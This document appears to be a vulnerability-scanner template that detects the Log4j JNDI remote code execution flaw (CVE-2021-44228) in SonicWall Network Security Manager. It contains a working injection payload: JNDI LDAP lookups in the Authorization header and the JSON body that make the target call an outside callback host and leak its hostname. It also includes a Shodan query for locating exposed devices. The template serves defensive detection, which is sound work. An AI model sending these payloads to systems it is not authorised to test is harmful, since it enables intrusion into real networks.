70 lines
2.6 KiB
YAML
70 lines
2.6 KiB
YAML
id: sonicwall-nsm-log4j-rce
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info:
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name: Sonicwall NSM - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant.
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reference:
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- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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shodan-query: title:"SonicWall Network Security"
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tags: cve,cve2021,rce,jndi,log4j,sonicwall,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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POST /api/sonicos/auth HTTP/1.1
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Host: {{Hostname}}
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X-Snwl-Timer: no-reset
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Authorization: Digest username="${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/}", realm="admin-users@x.x.x.x", uri="/api/sonicos/auth", algorithm=SHA-256
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Content-Type: application/json
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Accept: application/json, text/plain, /
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X-Snwl-Api-Scope: extended
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Origin: {{RootURL}}
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Referer: {{RootURL}}
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{"override":false,"snwl":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}"}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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# digest: 4a0a00473045022100d0a59abc929d774dada76d8842a472598a4da1368792b73f11d869efccd5824702206b7abf6c834971cd60ea5a6110750692ef32134c721d8baaa391b83c90009b61:922c64590222798bb761d5b6d8e72950
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